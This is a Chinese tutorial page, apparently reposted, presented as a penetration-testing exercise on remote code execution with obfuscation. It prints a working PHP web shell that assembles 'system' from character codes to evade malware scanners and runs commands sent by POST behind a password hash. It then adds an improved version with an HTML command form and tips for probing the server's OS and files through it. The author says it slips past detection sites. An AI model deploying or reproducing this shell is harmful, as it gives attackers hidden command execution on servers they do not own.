首页 / 更多教程 / 服务器渗透测试练习（插曲3：执行任意代码+混淆）

服务器渗透测试练习（插曲3：执行任意代码+混淆）

内容导读

互联网集市收集整理的这篇技术教程文章主要介绍了服务器渗透测试练习（插曲3：执行任意代码+混淆），小编现在分享给大家，供广大互联网技能从业者学习和参考。文章包含1357字，纯文字阅读大概需要2分钟。

内容图文

#0：由来

我在GitHub上偶然发现了这个文件，在实际使用一些带有恶意代码检测的网站进行测试之后我发现这玩意的成功率极高，可以用做一个获取服务器信息和其他东西的工具。

#1：解析

先把原文贴出来，这是GitHub上的原文

<?php

$pass = "9cdfb439c7876e703e307864c9167a15"; //lol

$A = chr(0x73);
$B = chr(0x79);
$X = chr(0x74);
$D = chr(0x65);
$E = chr(0x6d);

$hook = $A.$B.$A.$X.$D.$E;

if($pass == md5($_POST['password']))
{
  $hook($_POST['cmd']);
}
else
{
  die();
}

?>

我进行改进之后，增加了一个方便操作的界面

<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>

<body>
    <?php
    $pass = "5f4dcc3b5aa765d61d8327deb882cf99";//password
    $A = chr(0x73);//s
    $B = chr(0x79);//y
    $X = chr(0x74);//t
    $D = chr(0x65);//e
    $E = chr(0x6d);//m
    $hook = $A.$B.$A.$X.$D.$E;//system
    if($pass == md5($_POST['pass'])){
        $hook($_POST['cmd']);
    }
    else{
        die();
    }
    ?>
    <form name="frm" method="post" action="">
        <br>
        <input type="password" name="pass">
        <br>
        <input type="text" name="cmd">
        <br>
        <input type="submit" name="sub">
    </form>
</body>
</html>

就是每次都要输入密码，有点麻烦，但是又不能让别的人对这个页面进行操作，所以还是保留了密码。

可以通过网站对ipconfig和ifconfig的不同响应来判断底层操作系统，通过chdir来获取当前目录，用dir来查看当前目录下的文件，然后执行操作。唯一的不足就是服务端软件的权限可能很低（如IIS8默认为一个单独运行的低权限账号，对大多数文件都没有读写功能），没办法，这个就要看服务器架设者的安全意思又多高了。

内容总结

以上是互联网集市为您收集整理的服务器渗透测试练习（插曲3：执行任意代码+混淆）全部内容，希望文章能够帮你解决服务器渗透测试练习（插曲3：执行任意代码+混淆）所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错，欢迎将互联网集市网站推荐给程序员好友。

内容备注

版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 gblab@vip.qq.com 举报，一经查实，本站将立刻删除。

内容手机端

扫描二维码推送至手机访问。

本文链接：https://qyyshop.com/info/1027028.html

来源：【匿名】